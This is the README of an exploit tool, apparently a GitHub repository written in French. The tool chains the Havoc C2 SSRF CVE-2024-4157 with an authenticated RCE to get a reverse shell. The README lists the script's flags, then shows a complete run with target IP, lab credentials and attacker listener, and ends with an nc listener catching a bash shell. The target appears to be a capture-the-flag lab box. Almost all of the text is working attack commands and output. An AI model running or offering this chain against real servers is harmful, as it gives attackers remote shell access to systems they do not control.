ch4os1/cve-2024-4157-ssrf-rce-reverse-shellEnchaînement de la vulnérabilité SSRF de Havoc C2 avec une RCE pour obtenir un reverse shell sur le serveur Havoc C2.
Obtenez un reverse-shell avec une IP et un Port locaux, en enchaînant CVE-2024-4157 POC avec havoc_auth_rce
$ python3 exploit.py
usage: exploit.py [-h] [-t TARGET] [-i IP] [-p PORT] [-A USER_AGENT] [-H HOSTNAME] [-u USERNAME] [-d DOMAIN_NAME] [-n PROCESS_NAME] [-ip INTERNAL_IP] [-U ADMIN_USERNAME] [-P
PASSWORD] [-l LOCAL_IP] [-lp LOCAL_PORT]
## -t : IP cible où le serveur C2 est exécuté
## -i : adresse IP interne avec laquelle le serveur C2 doit interagir (SSRF)
## -p : port interne
## -U : nom d'utilisateur du serveur C2
## -P : mot de passe du serveur C2
## -l : adresse locale pour le reverse shell (RCE)
## -lp : port local pour le reverse shell
$ python3 exploit.py -t https://10.129.150.254 -i 127.0.0.1 -p 40056 -U ilya -P 'CobaltStr1keSuckz!' -l 10.10.14.54 -lp 4444
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
nc$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.54] from (UNKNOWN) [10.129.150.254] 53352
bash: cannot set terminal process group (2933): Inappropriate ioctl for device
bash: no job control in this shell
ilya@backfire:~/Havoc/payloads/Demon$